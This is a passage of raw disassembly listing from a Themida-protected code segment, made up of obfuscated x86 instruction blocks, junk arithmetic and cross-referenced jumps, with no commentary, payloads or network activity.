eax jmp loc_59ED5A ; --------------------------------------------------------------------------- loc_5ACCF0: ; CODE XREF: Themida_:0059A7A6j mov edx, 52A00D56h jmp loc_5AAEBA ; --------------------------------------------------------------------------- loc_5ACCFA: ; CODE XREF: Themida_:005AA0BCj ; Themida_:005AB5CBj inc al jo loc_598A4D or al, 0A2h jp loc_598C19 jmp loc_5A7870 ; --------------------------------------------------------------------------- neg ecx mov bh, bl mov dl, bl loc_5ACD15: ; CODE XREF: Themida_:00599346j jmp loc_59F000 ; --------------------------------------------------------------------------- loc_5ACD1A: ; CODE XREF: Themida_:005AD622j mov [esp], ebx push eax mov eax, 0EC52962h jmp loc_5A15C9 ; --------------------------------------------------------------------------- loc_5ACD28: ; CODE XREF: Themida_:005A1DA9j add ch, ah mov eax, [esp] add esp, 4 push eax mov ah, ch mov dh, ah pop eax mov ecx, [esp] jmp loc_5AAA59 ; --------------------------------------------------------------------------- loc_5ACD3E: ; CODE XREF: Themida_:005A3DBBj jmp loc_59838C ; --------------------------------------------------------------------------- loc_5ACD43: ; CODE XREF: Themida_:005A5709j sub esp, 4 mov [esp], edi push 1FB43B8Bh pop edi jmp loc_5A7BE6 ; --------------------------------------------------------------------------- loc_5ACD54: ; CODE XREF: Themida_:005A839Fj sub edi, 2B745770h add edi, edx add edi, 2B745770h pop edx pop ecx push 1E0h mov [esp], edx mov edx, 2 sub edi, edx jmp loc_59A909 ; --------------------------------------------------------------------------- loc_5ACD78: ; CODE XREF: Themida_:00598EB5j sub esp, 4 mov [esp], esi mov esi, 744A46h push 21E0h mov [esp], edx jmp loc_5A9C0D ; --------------------------------------------------------------------------- loc_5ACD90: ; CODE XREF: Themida_:005A4E4Aj push ecx mov ecx, 26CE4CC1h push edi jmp loc_5AE1F6 ; --------------------------------------------------------------------------- loc_5ACD9C: ; CODE XREF: Themida_:005A8DBEj push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 add esp, 4 sub esp, 4 mov [esp], ebp push 6D3370Ah pop ebp add eax, 78D41D60h sub eax, 77BA6F41h jmp loc_59ECE8 ; --------------------------------------------------------------------------- loc_5ACDC7: ; CODE XREF: Themida_:0059857Fj mov ebp, 2E1B7E3Eh xor edx, ebp pop ebp dec edx jg loc_5A6FF8 xor edx, 7BCA0505h jnz loc_59DFD0 xor edx, 0F2336367h mov ebx, edx mov edx, [esp] add esp, 4 loc_5ACDF0: ; CODE XREF: Themida_:005AE322j not ebp sub ebp, 2E6165BCh sub ebp, 6F27824Dh add ecx, 3CE058C1h jmp loc_5AB6D3 ; --------------------------------------------------------------------------- loc_5ACE09: ; CODE XREF: Themida_:loc_5A7510j jmp loc_59940C ; --------------------------------------------------------------------------- loc_5ACE0E: ; CODE XREF: Themida_:005989AFj ; Themida_:005AE86Dj mov [esp], edx mov dl, 51h add dl, 7Fh mov ah, 75h add ah, dl pop edx jmp loc_59E17E ; --------------------------------------------------------------------------- loc_5ACE20: ; CODE XREF: Themida_:005A6D90j xchg ebp, [esp] jmp loc_5A0DDF ; --------------------------------------------------------------------------- loc_5ACE28: ; CODE XREF: Themida_:00599216j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub eax, 28FB0F46h add eax, 17882C61h sub eax, ecx sub eax, 17882C61h add eax, 28FB0F46h pop ecx jmp loc_5ACB6E ; --------------------------------------------------------------------------- loc_5ACE55: ; CODE XREF: Themida_:005A32CBj push edi mov edi, esp jmp loc_5A1EC4 ; --------------------------------------------------------------------------- loc_5ACE5D: ; CODE XREF: Themida_:005AE157j mov ebp, 459C04ECh or ebp, 15A101D4h shr ebp, 3 jmp loc_5A318E ; --------------------------------------------------------------------------- loc_5ACE70: ; CODE XREF: Themida_:0059BD17j add ebp, 2 xchg ebp, [esp] pop esp jmp loc_5A9F72 ; --------------------------------------------------------------------------- loc_5ACE7C: ; CODE XREF: Themida_:005A9F6Dj add edx, 4 jmp loc_5AC5A1 ; --------------------------------------------------------------------------- loc_5ACE87: ; CODE XREF: Themida_:005A2B41j sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx jmp loc_5A9C79 ; --------------------------------------------------------------------------- loc_5ACE99: ; CODE XREF: Themida_:00598469j push 496h mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax mov edx, [esp] add esp, 4 push 518Dh mov [esp], edi jmp loc_59DE47 ; --------------------------------------------------------------------------- loc_5ACEC2: ; CODE XREF: Themida_:005A19A4j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5ACEC7: ; CODE XREF: Themida_:005A14BCj add esi, 4 sub esi, 4 jmp loc_5A4A7C ; --------------------------------------------------------------------------- loc_5ACED5: ; CODE XREF: Themida_:00598A71j sub edx, ecx pop ecx add edx, ebp push ecx jmp loc_5AEC28 ; --------------------------------------------------------------------------- loc_5ACEE0: ; CODE XREF: Themida_:0059E794j sub esp, 4 mov [esp], ebx mov ebx, 4 add edx, ebx jmp loc_5A868B ; --------------------------------------------------------------------------- loc_5ACEF5: ; CODE XREF: Themida_:005A0FD0j push edx mov edx, 4 push esi mov esi, 29471047h sub ecx, esi jmp loc_59E878 ; --------------------------------------------------------------------------- loc_5ACF08: ; CODE XREF: Themida_:005A73AFj mov edi, 348D12F3h xor edx, edi mov edi, [esp] push ebp jmp loc_5A5187 ; --------------------------------------------------------------------------- loc_5ACF18: ; CODE XREF: Themida_:005A2C14j add esp, 4 push ecx mov ecx, esi mov eax, ecx pop ecx pop esi add edi, eax mov eax, [esp] add esp, 4 sub edi, 4 jmp loc_5AC117 ; --------------------------------------------------------------------------- loc_5ACF35: ; CODE XREF: Themida_:0059E0F6j mov [esp], ebp mov ebp, esp add ebp, 4 push ecx sub esp, 4 mov [esp], esi jmp loc_5A342D ; --------------------------------------------------------------------------- loc_5ACF4F: ; CODE XREF: Themida_:00598A48j mov eax, [esp] push edi mov edi, esp jmp loc_599967 ; --------------------------------------------------------------------------- loc_5ACF5A: ; CODE XREF: Themida_:005A62A7j push esi push 164207Dh mov esi, [esp] add esp, 4 dec esi jle loc_5A28C4 xchg eax, esi jmp loc_59CB39 ; --------------------------------------------------------------------------- loc_5ACF73: ; CODE XREF: Themida_:005AA0F3j pop ecx xor ebx, eax mov dx, [esp] push ecx jmp loc_5AE31A ; --------------------------------------------------------------------------- loc_5ACF80: ; CODE XREF: Themida_:005A81E2j mov edi, ecx pop ecx jmp loc_59F114 ; --------------------------------------------------------------------------- loc_5ACF88: ; CODE XREF: Themida_:005A1646j dec ebx jnz loc_5A0A8C sub ebx, 0A845715h push ebx jmp loc_5AC2AF ; --------------------------------------------------------------------------- loc_5ACF9B: ; CODE XREF: Themida_:0059C52Dj ; Themida_:005A9B9Bj push eax jmp loc_5AC6F2 ; --------------------------------------------------------------------------- loc_5ACFA1: ; CODE XREF: Themida_:0059C748j push ebp push 4421h mov [esp], esi mov esi, 6D020B2Dh and esi, 7CB1D97h jmp loc_5AC1C2 ; --------------------------------------------------------------------------- loc_5ACFBA: ; CODE XREF: Themida_:005A6800j add esp, 4 add ebx, edi push 7418h mov [esp], edx push 7C67h mov [esp], ecx mov ecx, 0 jmp loc_5AA3B9 ; --------------------------------------------------------------------------- loc_5ACFD9: ; CODE XREF: Themida_:005A143Bj ; Themida_:005ADD01j add [esp+4], eax mov eax, [esp] add esp, 4 jmp loc_5AD1E0 ; --------------------------------------------------------------------------- loc_5ACFEB: ; CODE XREF: Themida_:005A56A3j mov [esp], ebp mov ebp, esp jmp loc_5A4F41 ; --------------------------------------------------------------------------- loc_5ACFF5: ; CODE XREF: Themida_:00598628j sub esp, 4 jmp loc_59BCFB ; --------------------------------------------------------------------------- loc_5ACFFD: ; CODE XREF: Themida_:005A2BA8j ; Themida_:005AAFE7j sub bl, dl add bl, 41h jmp loc_59A794 ; --------------------------------------------------------------------------- loc_5AD007: ; CODE XREF: Themida_:005A92E9j push edx mov edx, 7C362328h xor eax, edx mov edx, [esp] add esp, 4 jmp loc_5AA8EF ; --------------------------------------------------------------------------- loc_5AD01D: ; CODE XREF: Themida_:0059C7DFj mov ebp, ebx pop ebx add edx, ebp mov ebp, [esp] add esp, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_5A706F ; --------------------------------------------------------------------------- loc_5AD039: ; CODE XREF: Themida_:0059AC04j mov [esp], edi mov edi, 6C6245D7h jmp loc_5A8A0D ; --------------------------------------------------------------------------- loc_5AD046: ; CODE XREF: Themida_:005A0124j sub esi, 76D50DABh jmp loc_5A76E3 ; --------------------------------------------------------------------------- loc_5AD051: ; CODE XREF: Themida_:005A7A1Ej mov ebx, 4 jmp loc_5A461C ; --------------------------------------------------------------------------- loc_5AD05B: ; CODE XREF: Themida_:005A9E2Bj sub dword ptr [esp], 49F00616h mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_59CF10 ; --------------------------------------------------------------------------- loc_5AD07A: ; CODE XREF: Themida_:005AB541j add ebx, 58FF11C1h jmp loc_5A877B ; --------------------------------------------------------------------------- loc_5AD085: ; CODE XREF: Themida_:0059EEF0j pop ecx xchg eax, [esp] pop esp jmp loc_5AC5E6 ; --------------------------------------------------------------------------- loc_5AD08F: ; CODE XREF: Themida_:0059FFE6j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AD094: ; CODE XREF: Themida_:loc_5995F3j shr ecx, 6 jnp loc_59A66B xor ecx, 2DE2309Bh push edi mov edi, 792EA419h xor ecx, edi pop edi jmp loc_5ADB64 ; --------------------------------------------------------------------------- loc_5AD0B1: ; CODE XREF: Themida_:005A9849j push dword ptr [esp] mov ebp, [esp] jmp loc_5AB1CF ; --------------------------------------------------------------------------- loc_5AD0BC: ; CODE XREF: Themida_:005A8B1Fj push esi push ecx mov ecx, 150B683Dh jmp loc_59D59A ; --------------------------------------------------------------------------- loc_5AD0C8: ; CODE XREF: Themida_:005AE966j mov bl, 5 push 5B84h mov [esp], eax mov ah, 8Ch shl ah, 8 add ah, 0FFh sub esp, 2 mov [esp], cx push ebp mov ebp, esp add ebp, 4 jmp loc_5AD50A ; --------------------------------------------------------------------------- loc_5AD0F2: ; CODE XREF: Themida_:005AA93Cj add esp, 4 jmp loc_59D818 ; --------------------------------------------------------------------------- loc_5AD0FD: ; CODE XREF: Themida_:00599D28j mov ecx, eax pop eax add esi, ecx mov ecx, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], ebx mov ebx, 71B7A78h sub ebx, 6D25F6Dh push eax mov eax, 14566483h neg eax or eax, 7A9D31BFh and eax, 637E6832h push edx mov edx, 67F037EDh xor eax, edx pop edx add ebx, 3F07603Ch sub ebx, eax sub ebx, 3F07603Ch mov eax, [esp] jmp loc_5AF50E ; --------------------------------------------------------------------------- loc_5AD15F: ; CODE XREF: Themida_:loc_59D88Ej mov cx, [esp] push 48C1h jmp loc_5A981C ; --------------------------------------------------------------------------- loc_5AD16D: ; CODE XREF: Themida_:005A25CAj push 124Eh jmp loc_59A712 ; --------------------------------------------------------------------------- loc_5AD177: ; CODE XREF: Themida_:0059B7C6j mov cl, bh pop ebx push ebx push eax mov ah, 0A7h push ecx mov ch, ah mov bh, ch jmp loc_5A5318 ; --------------------------------------------------------------------------- loc_5AD188: ; CODE XREF: Themida_:0059E8BCj add dword ptr [esp+4], 27D561EEh sub dword ptr [esp+4], 449223F4h add [esp+4], ebp add dword ptr [esp+4], 449223F4h sub dword ptr [esp+4], 27D561EEh push ebx sub esp, 4 jmp loc_5A1FAD ; --------------------------------------------------------------------------- loc_5AD1B5: ; CODE XREF: Themida_:005A0CECj mov edi, [esp] add esp, 4 push ebx jmp loc_5A3AA2 ; --------------------------------------------------------------------------- lodsd push ebx mov ebx, esp push 2914h mov [esp], ecx mov ecx, 4 add ebx, ecx pop ecx push ecx mov ecx, 4 jmp loc_5AC4F2 ; --------------------------------------------------------------------------- loc_5AD1E0: ; CODE XREF: Themida_:005ACFE6j mov eax, [esp] add esp, 4 add eax, 4 add eax, 2 xchg eax, [esp] jmp loc_5A52F4 ; --------------------------------------------------------------------------- loc_5AD1F8: ; CODE XREF: Themida_:005986A9j ; Themida_:005A4500j and ax, 69Ah sub ax, 0EA78h mov di, ax jmp loc_5A3439 ; --------------------------------------------------------------------------- loc_5AD208: ; CODE XREF: Themida_:005A090Ej sub edx, ebx pop ebx jmp loc_5AF53C ; --------------------------------------------------------------------------- loc_5AD210: ; CODE XREF: Themida_:005A0F87j pop esp jmp loc_5A6501 ; --------------------------------------------------------------------------- loc_5AD216: ; CODE XREF: Themida_:005A5C69j add esp, 4 sub edi, 8D52A52h add edi, 7C4226FAh add edi, ecx sub edi, 7C4226FAh push edx mov edx, 4C9A54F7h shl edx, 7 push ebx mov ebx, 5B3315F4h jmp loc_5999BF ; --------------------------------------------------------------------------- loc_5AD244: ; CODE XREF: Themida_:005ADDEEj pop edi push esi jmp loc_5A5C77 ; --------------------------------------------------------------------------- loc_5AD24B: ; CODE XREF: Themida_:005AF3D8j movzx ecx, al push 7069h mov [esp], ecx jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AD25B: ; CODE XREF: Themida_:0059FC1Fj mov edx, 47282FA3h or ecx, edx mov edx, [esp] add esp, 4 jmp loc_5986EB ; --------------------------------------------------------------------------- loc_5AD26D: ; CODE XREF: Themida_:005A4A6Cj not edi push ecx mov ecx, 47D687C8h sub edi, ecx pop ecx mov eax, edi pop edi add eax, 0FFFFFFFFh shl eax, 1 sub eax, 0FFFFFFFFh and eax, 744619D1h neg eax xor eax, 9D02D103h jmp loc_5A4C78 ; --------------------------------------------------------------------------- loc_5AD296: ; CODE XREF: Themida_:005A8928j push ebx mov ebx, 43D16970h jmp loc_5A08FC ; --------------------------------------------------------------------------- loc_5AD2A1: ; CODE XREF: Themida_:0059C68Ej or cl, 0D6h jnb loc_59D7FD xor cl, 0C4h add bl, cl pop ecx sub bl, 0A7h pop ecx loc_5AD2B4: ; CODE XREF: Themida_:0059B336j mov ebx, 58905F00h jmp loc_59F6CF ; --------------------------------------------------------------------------- loc_5AD2BE: ; CODE XREF: Themida_:005AAC10j shr ebx, 7 xchg edi, ebx jmp loc_5ADE16 ; --------------------------------------------------------------------------- loc_5AD2C8: ; CODE XREF: Themida_:005A6D7Aj xor ebx, eax mov eax, [esp] sub esp, 4 jmp loc_59EFE8 ; --------------------------------------------------------------------------- loc_5AD2D5: ; CODE XREF: Themida_:005A3805j sub dword ptr [esp+4], 54896A93h sub [esp+4], edi add dword ptr [esp+4], 54896A93h pop edi add dword ptr [esp], 5B0E0DD2h jmp loc_5A7DAA ; --------------------------------------------------------------------------- loc_5AD2F6: ; CODE XREF: Themida_:0059F620j xchg ebp, [esp] mov esp, [esp] push ecx push ebx jmp loc_5AED7E ; --------------------------------------------------------------------------- loc_5AD303: ; CODE XREF: Themida_:005A06B9j xchg ecx, esi add esi, 1D3D07A0h jmp loc_5ADC9C ; --------------------------------------------------------------------------- loc_5AD310: ; CODE XREF: Themida_:005AC137j mov ebx, ecx mov ecx, [esp] jmp loc_5A360F ; --------------------------------------------------------------------------- loc_5AD31A: ; CODE XREF: Themida_:005A24FFj xor [esp], cx jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AD323: ; CODE XREF: Themida_:005A258Cj push 3D60h jmp loc_5A163D ; --------------------------------------------------------------------------- loc_5AD32D: ; CODE XREF: Themida_:005A9BFBj pop eax or cl, bl jmp loc_5A2D7B ; --------------------------------------------------------------------------- loc_5AD335: ; CODE XREF: Themida_:00598BE4j push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5AAEF2 ; --------------------------------------------------------------------------- loc_5AD349: ; CODE XREF: Themida_:005A3C01j mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_5A1415 ; --------------------------------------------------------------------------- loc_5AD359: ; CODE XREF: Themida_:005A9363j xchg esi, [esp] jmp loc_5A965C ; --------------------------------------------------------------------------- loc_5AD361: ; CODE XREF: Themida_:0059C947j mov esp, [esp] mov esi, [esp] jmp loc_5AC3BE ; --------------------------------------------------------------------------- loc_5AD36C: ; CODE XREF: Themida_:0059A0A3j sub eax, 1D1405E4h add eax, 75487B48h sub eax, ecx sub eax, 75487B48h add eax, 1D1405E4h add eax, 5DB97B74h jmp loc_5A69F4 ; --------------------------------------------------------------------------- loc_5AD38C: ; CODE XREF: Themida_:005A5554j mov [esp], ebp push esi jmp loc_59F2F9 ; --------------------------------------------------------------------------- loc_5AD395: ; CODE XREF: Themida_:0059F47Fj inc ebx jp loc_5A9531 xor ebx, 983FE4C1h jmp loc_5A271F ; --------------------------------------------------------------------------- loc_5AD3A7: ; CODE XREF: Themida_:005995A7j push 73C53B61h pop edi neg edi jmp loc_5AA2FD ; --------------------------------------------------------------------------- loc_5AD3B4: ; CODE XREF: Themida_:005A9436j add esp, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push dword ptr [esp] pop ecx push eax mov eax, esp add eax, 4 jmp loc_5A55CC ; --------------------------------------------------------------------------- loc_5AD3DC: ; CODE XREF: Themida_:0059E631j pop ebx pop ecx not ecx xchg ecx, ebx jmp loc_59A43E ; --------------------------------------------------------------------------- loc_5AD3E7: ; CODE XREF: Themida_:005ADF6Bj pop edx jmp loc_5AF2B8 ; --------------------------------------------------------------------------- loc_5AD3ED: ; CODE XREF: Themida_:0059CE71j jnz loc_5A83EB sub edx, 9B378B89h mov edx, edi add al, 0FBh loc_5AD3FD: ; CODE XREF: Themida_:005A7B66j ; Themida_:005A9A06j mov ebx, [esp] add esp, 4 push edx mov dh, 13h jmp loc_5AF3B8 ; --------------------------------------------------------------------------- loc_5AD40B: ; CODE XREF: Themida_:0059CA1Bj pop ebp jmp loc_5A844E ; --------------------------------------------------------------------------- loc_5AD411: ; CODE XREF: Themida_:005AC1F8j mov ecx, [esp] add esp, 4 xor ecx, 2838E550h mov ebp, ecx mov ecx, [esp] add esp, 4 sub eax, 7F9C4AC4h sub esp, 4 jmp loc_59D397 ; --------------------------------------------------------------------------- loc_5AD438: ; CODE XREF: Themida_:005AEFD9j and ch, 34h jmp loc_59E5E8 ; --------------------------------------------------------------------------- loc_5AD440: ; CODE XREF: Themida_:005A13CDj xchg edi, [esp] not edi xchg edi, [esp] pop ebx xchg ebx, edx inc edx neg edx shr edx, 1 xor edx, 377589B1h add ebp, edx pop edx add ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 sub esp, 4 mov [esp], ecx push 4 mov ecx, [esp] add esp, 4 add eax, ecx pop ecx xor eax, [esp] jmp loc_5A5EB6 ; --------------------------------------------------------------------------- loc_5AD492: ; CODE XREF: Themida_:005ADC9Fj inc esi jmp loc_5ABB1D ; --------------------------------------------------------------------------- loc_5AD498: ; CODE XREF: Themida_:005AE8A3j jl loc_5A7E0C and ebx, 7ACA5BD5h jns loc_5A2C28 mov al, dl push edx loc_5AD4AD: ; CODE XREF: Themida_:005AE6F2j ; Themida_:005AF29Dj jns loc_59A00F push ebp mov ebp, 0ED060D3h neg ebp mov edi, edi pop ebx loc_5AD4BE: ; CODE XREF: Themida_:005A838Aj add ebp, 4 sub esp, 4 mov [esp], edi mov edi, esp push eax jmp loc_5AB8C4 ; --------------------------------------------------------------------------- loc_5AD4D2: ; CODE XREF: Themida_:005A051Aj push dword ptr [esp] pop eax jmp loc_5A198E ; --------------------------------------------------------------------------- loc_5AD4DB: ; CODE XREF: Themida_:005A9084j pop eax sub esp, 4 mov [esp], ecx mov ecx, 24E47F55h jmp loc_5A9EA7 ; --------------------------------------------------------------------------- loc_5AD4EF: ; CODE XREF: Themida_:005A9CFEj sub edi, edx pop edx jmp loc_59F896 ; --------------------------------------------------------------------------- loc_5AD4F7: ; CODE XREF: Themida_:0059D39Aj mov edx, 285347BDh sub edx, 0C080D656h add eax, edx pop edx jmp loc_59DC43 ; --------------------------------------------------------------------------- loc_5AD50A: ; CODE XREF: Themida_:005AD0EDj sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax mov ah, 1Eh jmp loc_59D233 ; --------------------------------------------------------------------------- loc_5AD51E: ; CODE XREF: Themida_:0059B02Ej mov ecx, [esp] add esp, 4 shl ebp, 6 sub ebp, 69D9DE1Eh sub ecx, ebp pop ebp jmp loc_5A0615 ; --------------------------------------------------------------------------- loc_5AD538: ; CODE XREF: Themida_:0059D5FAj push 0B7h mov [esp], esi mov esi, 5D1C2CA2h add esi, 1 and esi, 79F7191Fh not esi shr esi, 7 push esi push 72Bh mov [esp], edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] push edi jmp loc_5A8145 ; --------------------------------------------------------------------------- loc_5AD56F: ; CODE XREF: Themida_:0059D778j pop ebp push edi push esp pop edi jmp loc_5A2BF0 ; --------------------------------------------------------------------------- loc_5AD578: ; CODE XREF: Themida_:0059A57Cj sub esi, edi mov edi, [esp] jmp loc_5A2834 ; --------------------------------------------------------------------------- loc_5AD582: ; CODE XREF: Themida_:005A757Dj add edi, 4 xchg edi, [esp] pop esp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push 1D1Ch mov [esp], esi jmp loc_5AA4AA ; --------------------------------------------------------------------------- loc_5AD5A5: ; CODE XREF: Themida_:005A10A4j pop ebx mov ebx, [esp] add esp, 4 xor ebx, eax jmp loc_5A9636 ; --------------------------------------------------------------------------- loc_5AD5B3: ; CODE XREF: Themida_:005A3942j sub al, 76h pop ebx mov ch, al jmp loc_5A8AC7 ; --------------------------------------------------------------------------- loc_5AD5BD: ; CODE XREF: Themida_:005A737Aj push ebx xor dword ptr [esp], 2ACC75DBh pop eax xor eax, 2ACC75DBh pop ebx push ebp mov ebp, 77A40590h shl ebp, 6 jmp loc_5AB977 ; --------------------------------------------------------------------------- loc_5AD5DA: ; CODE XREF: Themida_:005A7167j ; Themida_:005ADD57j add ecx, 776F54E4h mov edx, [esp] add esp, 4 add ecx, ebx push esi mov esi, 30982FEFh add esi, 749E3435h add esi, 0C722B4C0h jmp loc_5ADA51 ; --------------------------------------------------------------------------- loc_5AD5FF: ; CODE XREF: Themida_:0059D43Dj ; Themida_:005A219Fj sub eax, 291730EDh jmp loc_5A8507 ; --------------------------------------------------------------------------- mov cx, [esp] push 432Dh mov [esp], ebx sub esp, 4 mov [esp], ecx mov ecx, esp push 3246h jmp loc_5ACD1A ; --------------------------------------------------------------------------- loc_5AD627: ; CODE XREF: Themida_:00598C02j pop edi jmp loc_59C177 ; --------------------------------------------------------------------------- loc_5AD62D: ; CODE XREF: Themida_:005ACA0Fj pop ebx pop dword ptr [esp] pop esp push ecx mov ecx, 46260EBFh inc ecx inc ecx sub ecx, 0F2C0AAFh jmp loc_5A08D3 ; --------------------------------------------------------------------------- loc_5AD645: ; CODE XREF: Themida_:005ACAB7j push dword ptr [esp] pop eax add esp, 4 add esi, 4 push esi jmp loc_5A70D8 ; --------------------------------------------------------------------------- loc_5AD65B: ; CODE XREF: Themida_:005A0B26j xchg esi, ebx push esi sub esp, 4 mov [esp], eax pop esi pop eax not eax xchg eax, esi xor ebx, esi xor esi, ebx xor ebx, esi jmp loc_5A006A ; --------------------------------------------------------------------------- loc_5AD674: ; CODE XREF: Themida_:loc_598510j ; Themida_:0059CED4j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] jmp loc_5A386A ; --------------------------------------------------------------------------- loc_5AD686: ; CODE XREF: Themida_:005A1603j add al, dh pop edx sub al, dh push dx jmp loc_59AB50 ; --------------------------------------------------------------------------- loc_5AD692: ; CODE XREF: Themida_:005A2EB7j not cx push si mov si, 9CECh xor cx, si pop si and di, cx pop ecx inc di push ebp mov bp, 5C9h add bp, 2171h xor bp, 3A67h shl bp, 7 xor bp, 6018h jmp loc_59A4DC ; --------------------------------------------------------------------------- loc_5AD6C3: ; CODE XREF: Themida_:005ADBE5j mov [esp], edx mov edx, 3FAF6C23h xor edx, 10D21ACFh add eax, edx jmp loc_5AD9D5 ; --------------------------------------------------------------------------- loc_5AD6D8: ; CODE XREF: Themida_:005A3F28j ; Themida_:005ADB88j shr edi, 6 sub edi, 8428EE98h push eax push 123376F8h pop eax jmp loc_59ECE8 ; --------------------------------------------------------------------------- loc_5AD6ED: ; CODE XREF: Themida_:005A46FDj xor ebx, ebp pop ebp shr ebx, 1 sub esp, 4 mov [esp], eax mov eax, 51AB543Ch jmp loc_5AA61B ; --------------------------------------------------------------------------- loc_5AD705: ; CODE XREF: Themida_:005A9135j pop eax add esp, 4 add esp, 4 push eax jmp loc_5A4587 ; --------------------------------------------------------------------------- loc_5AD718: ; CODE XREF: Themida_:0059C498j jmp loc_59BE24 ; --------------------------------------------------------------------------- loc_5AD71D: ; CODE XREF: Themida_:005A4BDDj push 3EA7h mov [esp], eax jmp loc_5A8759 ; --------------------------------------------------------------------------- loc_5AD72A: ; CODE XREF: Themida_:005A6767j sub esp, 4 mov [esp], esi mov esi, esp push 3C38h jmp loc_5A8A48 ; --------------------------------------------------------------------------- loc_5AD73C: ; CODE XREF: Themida_:005AF522j jmp loc_5A7D5E ; --------------------------------------------------------------------------- loc_5AD741: ; CODE XREF: Themida_:0059EFEBj mov esi, esp jmp loc_5AB304 ; --------------------------------------------------------------------------- loc_5AD748: ; CODE XREF: Themida_:005995C1j xor eax, [esp] mov esp, [esp] or edx, eax shl edx, 1 push 3E28h mov [esp], ecx push ebx jmp loc_5AEF85 ; --------------------------------------------------------------------------- loc_5AD760: ; CODE XREF: Themida_:005A97ABj add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5ADBD2 ; --------------------------------------------------------------------------- loc_5AD775: ; CODE XREF: Themida_:005A7516j ; Themida_:005AE849j push 2F296BECh push dword ptr [esp] pop eax push eax jmp loc_59C4C4 ; --------------------------------------------------------------------------- loc_5AD784: ; CODE XREF: Themida_:0059D8EEj mov esp, [esp] xor [esp], al pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AD790: ; CODE XREF: Themida_:0059E240j jmp loc_5A0A05 ; --------------------------------------------------------------------------- loc_5AD795: ; CODE XREF: Themida_:005A468Fj push ebx mov ebx, 4 add edi, ebx jmp loc_59E636 ; --------------------------------------------------------------------------- loc_5AD7A2: ; CODE XREF: Themida_:005A355Dj sub esi, 1543371Ch inc esi jle loc_5A1B4D shr esi, 6 or esi, 60EA5893h jl loc_5AB0EF add esi, 0BA7A94D8h push edx mov edx, 1 sub esi, edx pop edx push ecx mov ecx, 554F0205h inc ecx xor ecx, 34E99E12h xor esi, ecx pop ecx add eax, 44120DF8h jmp loc_5A1FA6 ; --------------------------------------------------------------------------- loc_5AD7E7: ; CODE XREF: Themida_:00599602j ; Themida_:005A2977j and ecx, 303105D2h xchg eax, ecx jmp loc_5A6267 ; --------------------------------------------------------------------------- loc_5AD7F3: ; CODE XREF: Themida_:005AF147j add ebx, 33B94023h add ebx, eax jmp loc_5A8B5E ; --------------------------------------------------------------------------- loc_5AD800: ; CODE XREF: Themida_:005A2C7Ej pop esi push ecx mov ecx, esp push esi mov esi, 1B0B5A1Eh jmp loc_5A0A15 ; --------------------------------------------------------------------------- loc_5AD80F: ; CODE XREF: Themida_:005A5EB1j dec dword ptr [esp] pushf jmp loc_5A1D29 ; --------------------------------------------------------------------------- loc_5AD818: ; CODE XREF: Themida_:005A6096j neg dl neg dl xor dl, 1Eh sub esp, 4 mov [esp], edx push ecx mov ch, 68h and ch, 29h dec ch jo loc_599B42 shr ch, 5 jz loc_59DEA6 neg ch jle loc_59E015 neg ch jmp loc_5AA49A ; --------------------------------------------------------------------------- sub cl, 0D4h sub cl, 6 loc_5AD851: ; CODE XREF: Themida_:005A544Ej push ebp mov ebp, 2DFE17A6h and ebp, 58E36892h not ebp inc ebp add ebp, 63BC6E11h xor ebp, 8CEF85C9h add esi, ebp pop ebp add [esp+4], esi pop esi pop eax push ebx mov ebx, 6E152ADAh sub ebx, 63740B44h jmp loc_5AA214 ; --------------------------------------------------------------------------- loc_5AD886: ; CODE XREF: Themida_:005A3AADj or edx, 6A097AC9h dec edx add edx, 10102E9Dh dec edx shl edx, 5 sub esp, 4 mov [esp], ebp mov ebp, 711F7E09h push ebp jmp loc_59CB42 ; --------------------------------------------------------------------------- loc_5AD8AB: ; CODE XREF: Themida_:0059CBFFj sub edx, 3C8B7D1Eh sub edx, 76DD20F7h xor edx, 0BB5FDE92h xor edx, 4A40084Ah sub edx, 0FFFFFFFFh jmp loc_5A21CF ; --------------------------------------------------------------------------- loc_5AD8CE: ; CODE XREF: Themida_:005A08CEj push 5D1Ah jmp loc_5A9FE9 ; --------------------------------------------------------------------------- loc_5AD8D8: ; CODE XREF: Themida_:loc_5AA775j sub esi, 8C446A95h mov ebp, esi pop esi mov edx, 0AD8FE155h add edx, ebp pop ebp jmp loc_5A0BB2 ; --------------------------------------------------------------------------- loc_5AD8EE: ; CODE XREF: Themida_:0059BF08j jnz loc_5A1FA1 jmp loc_5A6E03 ; --------------------------------------------------------------------------- sub eax, esi jmp loc_5A826C ; --------------------------------------------------------------------------- loc_5AD900: ; CODE XREF: Themida_:0059C214j add ebp, esi pop esi xor ebp, 805CD66Ah sub esi, ebp jmp loc_59CCE5 ; --------------------------------------------------------------------------- loc_5AD910: ; CODE XREF: Themida_:0059A357j mov [esp], esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 jmp loc_5A4D8A ; --------------------------------------------------------------------------- loc_5AD922: ; CODE XREF: Themida_:0059FDDFj shr esi, 6 jmp loc_59DD4D ; --------------------------------------------------------------------------- loc_5AD92A: ; CODE XREF: Themida_:005A0933j ; Themida_:loc_5AC242j shr eax, 4 jnz loc_59B8F5 jmp loc_59C0BB 